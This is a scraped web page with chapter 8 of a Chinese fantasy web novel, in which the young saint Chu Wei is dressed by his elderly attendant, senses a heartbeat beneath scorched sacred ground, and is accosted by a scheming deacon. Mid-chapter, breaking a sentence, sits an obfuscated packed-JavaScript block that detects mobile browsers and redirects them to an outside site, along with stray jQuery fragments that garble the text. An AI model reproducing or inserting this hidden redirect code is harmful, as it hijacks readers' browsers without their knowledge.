8. 第 8 章

作品:《献给魔龙的漂亮小圣子

    圣子所接触的一切必须洁净,包括所居住的神恩宫的地板,每天要分三次擦得纤尘不染,才足够达到他在室内亲自走路的标准。


    轮班的两个仆从边干活边嘀嘀咕咕:


    “今年好奇怪啊,听说‘深渊’到现在没有动静。”


    “是啊,往年每次遴选仪式一结束,‘那位’就开始到处捣乱破坏,今年居然到现在还是安安静静地,简直怀疑到底有没有苏醒。”


    “这么安分,更让人心慌了。”


    “上一任圣子到现在还留在王宫呢,他不出发,新来的小殿下也没办法公开亮相……”


    他们越聊越投入,神情也变得慷慨激昂,好似待会儿魔龙就要现身,而他们会扛着拖把扫帚加入英勇的斗争中。


    直到有谁在背后轻咳一声。


    两人顿时傻了眼,战战兢兢转身,头恨不得垂到地上:“大……大嬷嬷……”


    金果在神庙做事已有百年,什么样儿的人都见过,对这种背后嚼舌头的行为见怪不怪,语调平平:“禁闭室面壁思过三日,之后去圣物库拂尘吧。不知晓什么话该说什么不该说,神恩宫不是你们能待的地方。”


    圣侍嬷嬷看着慈祥,管教神庙仆从时极为公正威严,说一不二。


    她直接下了指令,意味着没有回旋余地。两人哭丧着脸领罪。


    金果目送多嘴的两个家伙垂头丧气离开,等来接替的人,简单吩咐几句,叹了口气,匆匆穿过回廊走向尽头圣子的起居室。


    她在门口做了个深呼吸,紧皱的眉头舒展开,才敲了敲门:“小殿下,换好了吗?”


    小孩子的声音轻快响起:“好啦,您请进吧。”


    金果推开门,看见更衣过后站在屋子中间的男孩,眼前一亮。


    小圣子穿着垂至小腿的纯白圣袍,衣料由珍贵的云丝混合光纱编织而成,轻盈如羽,被开门带进来的微风卷起一角,薄薄地摇曳着,像画卷也像裙摆。


    领口细密地绣着金线,勾勒出隐秘而繁盛的祝祷花纹,宽大的袖口上由浅至深的金色刺绣层层叠叠,垂落时光影流动,有如涟漪。


    楚惟的头发已经很长了,秘银织就的丝带将一侧碎发绑于耳后,露出洁白小巧的耳垂,发尾系了个小小的蝴蝶结,衬得小少年清雅而灵动。


    他戴上了圣子身份标识的额饰,由圣金锻造而成的细链衔着微芒浮动的月辉石,在眉心拓下一抹细致的流光,随着他的一呼一吸闪烁。


    黑与白,金与银,在他身上交织得如此和谐,将楚惟整个人映得熠熠生辉,映出圣洁、端庄、遥不可及的神性之美。


    纵是已经照顾过那么多前任圣子的金果,也不得不承认眼前这一幕当真如同神明降世。


    究竟是圣子被祭坛的旨意所选中,还是祭坛原本就是圣子与人间联结的器物?


    老人真诚地赞美:“殿下真是太适合了。”


    楚惟有点儿害羞地弯弯眼睛。


    他不太习惯穿成这样,哪怕云丝和光纱看起来轻薄、实际上暖和得很,还是让他有种出了门就会被雪掩埋的不安。


    金果取下另一件同样专门定制的月白色斗篷为他披上,男孩陷入软绵绵的淡蓝色云朵中,衣领系带上一枚细小的银质月亮吊坠轻轻晃动。


    “好了。”金果笑眯眯地看着楚惟,有了种童年时代打扮人偶的满足感,“殿下,请吧。”


    自从上一次捕捉到至高祭坛之下焦土短暂变幻的光影,楚惟总有种朦胧的预感,好似地面之下有什么沉眠的即将苏醒。


    他不敢把这样的预感告诉他人,生怕“沉眠”“苏醒”这样的字词与那邪恶的魔龙产生什么联想,只好告诉金果嬷嬷自己想出去走一走。


    魔龙迟迟不醒,上一任圣子至今未动身前往龙窟,他这个继任者只能继续等待,不可在来神庙参拜的信徒面前轻易现身。


    每天除了按部就班地学习祷文,也就只能在圣域穹殿之外的场所转悠。


    室内他可以自己走,室外就不行了。


    前几日都是大祭司亲自抱他出门,有时是神官安岩,今日二人都不在神庙,金果嬷嬷张开双臂,理所当然地要抱小殿下。


    楚惟迟疑:“可是……”


    她年纪这样大,若在楚家,是不会被分配搬运重物的。


    金果看出了他的踌躇,心中为小圣子的怜爱之心感到温暖,笑道:“殿下可不要小看了老身。”


    为了让他信服,她用枯瘦的双臂拢住房间里最重的衣柜——楚惟一直以为它是镶嵌在墙壁里的——稍一运气,整个儿稳稳当当抬了起来。


    男孩眼睛都直了,小小声赞叹:“哇……”


    金果脸不红气不喘放下衣柜,对着小殿下不加掩饰的讶异微微一笑。


    没点儿特长,还怎么在人才济济的神庙中杀出一条血路。


    被教廷所有仆从尊敬的大嬷嬷,向来是以、理、服、人的。


    *


    不是错觉,楚惟皱眉,盯着死气沉沉的焦土。


    他在这一片死寂的土壤之下,听到了蓬勃的心跳声。


    如果在以前,他一定会俯身趴在地上,耳朵贴近地面,仔细地聆听大地的脉动;反正在养母回来之前先偷偷溜回去洗干净、换好衣服就行。


    楚家的仆人们对他做什么都睁一只眼闭一只眼,哪怕小少爷不得不在数九隆冬亲自洗衣服,一双小手冻得通红,也没人打算帮个忙。


    可现在他的一举一动都受到监视,哪怕这种监视是带着敬意的仰望,也注定了他不能轻举妄动。


    金果陪他在这待了好一会儿了,有耐心,也不免有好奇心:小家伙专注研究的并不是头顶上那尊看起来更神秘的至高祭坛,反而是脚下平平无奇的大地。


    这儿原先生长了一大片茂盛的艾缇瑟尔花,可惜全部在主教派和祭司派的争夺中付诸一炬,她是当年纷争的亲历者和见证者,对内幕很清楚;殿下没有问,她自然也不打算主动说。


    大火已经是十年前的事情,不知是烧得太厉害还是如何,从那之后,这片土地上寸草不生,别说艾缇瑟尔花,就是野草也没再冒出来一根。


    圣灵之花的珍贵程度不必多言,神庙当然想过各种办法。


    只可惜来看过的专业园艺师和植物学家都摇摇头:没办法,治不了,没救了。


    再往后,人人只将它当作供奉至高祭坛之地,没人记得它也曾经盛开过芬芳一隅。


    金果转念一想,这位新来的小圣子过去的俗世家庭是做草药相关生意的,那么对神圣的花儿们感兴趣也无可厚非。


    小殿下没说什么,但金果看得出他神色中的渴望,渴望用自己的双手、双脚亲自丈量那珍稀花儿的墓地,碰触它们往昔的神韵。


    她想了想:“严格来说,圣灵之花生长的土壤同样是洁净之地。如果您想亲自触碰,可以等到大祭司大人回来之后问问他是否合乎礼节。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129209|164377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    男孩闻言,眼睛都亮了:“那……”


    “圣子殿下真是好兴致。”


    不和谐的声音打断了两人的交谈。


    来人年近四十,獐头鼠目,有一双精明的、写满了算计的小眼睛。


    他面带笑容,目光在一老一少之间逡巡,随后撩起灰色的袖子行礼:“见过殿下,大嬷嬷。”


    金果看清何许人也,眉间掠过一丝厌恶:“石本执事。”


    她抱着楚惟无法回礼,不着痕迹地向后退了一步,试图让圣子远离此人:“殿下,这位是红衣主教大人的一等执事,石本卓。”


    楚惟虽是第一次见他,可心中竟然有股强烈的抗拒,怎么看都觉得不顺眼,前世有仇似的。


    这对楚惟来说是种很新奇的体验,他天生淡漠,从小到大很少对周围人有什么明显的情感波动,无论是喜爱还是讨厌。


    带头捉弄他、又别别扭扭讨好他的楚南膺,把他当工具的楚家夫妇,霸凌他的浑小子们,当面视若无物背后指指点点的仆役们,不明真相的镇民们……


    芸芸众生在他眼中都没什么差别。


    他随时都有可能会死,在乎或不在乎其他人,又有什么意义呢。


    直到迦隐踏碎雪夜出现在面前,将小小的、孤独的孩子抱在怀中,楚惟才初次体验到想要靠近某个人的、陌生的渴望。


    说起来,那人今天去哪儿呢……


    一天不见,竟然还有点儿说不上来的想念。


    小圣子默默收起飘忽的思绪,目光落在对面人身上。


    今日,倒是出现了大祭司之外第二个让他产生特殊感情的存在——只不过是完全相反的嫌恶。


    迦隐说过,他不需要对任何人行礼和回礼,也不该随意和人交谈,所以在弄清此人的来意之前没打算搭理石本卓。


    面对圣子的冷落,灰衣执事仍然笑容可掬:“主教大人邀殿下前往摘星阁一见。”


    摘星阁原本是星象观测之地,现在已经成了主教和随行人员的地盘。


    金果蹙眉:“圣子殿下抵达中央神庙已有数日,主教大人至今没有拜见过殿下。第一面,大人难道不应当亲自前来吗?”


    “主教大人的安排,自然有他的道理。”石本卓的笑容冷了些许,“还请大嬷嬷认清自己的地位。”


    圣侍嬷嬷全心全意照料圣子,在教廷的势力争夺中须保持中立,不得偏向主教或祭司任何一派,更不能对双方首领表现出明显的偏好。


    金果对红衣主教一直没有来看圣子不满已久,竟对着主教派的人不自觉表达出来。


    她自知失言,低下头:“抱歉,是老身多嘴,请石本执事见谅。”


    石本卓冷哼,上前一步:“那么,请把殿下交给我吧。”


    楚惟模模糊糊知晓祭司和主教两派的对立,因亲近迦隐而认为主教派肯定都不是什么好人;再加上本来就讨厌石本卓,见他要碰自己,立刻搂住金果嬷嬷的脖子,转过脸去不肯看他。


    金果安慰着怀里的小家伙,展现出护犊子的强势:“不劳烦石本执事了,老身来抱殿下就行。”


    石本卓三番五次被楚惟无视,脸皮再厚也要挂不住了:“不好意思,主教大人只邀请了殿下一人。”


    他说罢,伸手就要来抢。


    就在他的手擦过楚惟圣袍外的斗篷边缘时,有谁高喝一声:


    “石本卓,你想对圣子殿下做什么!”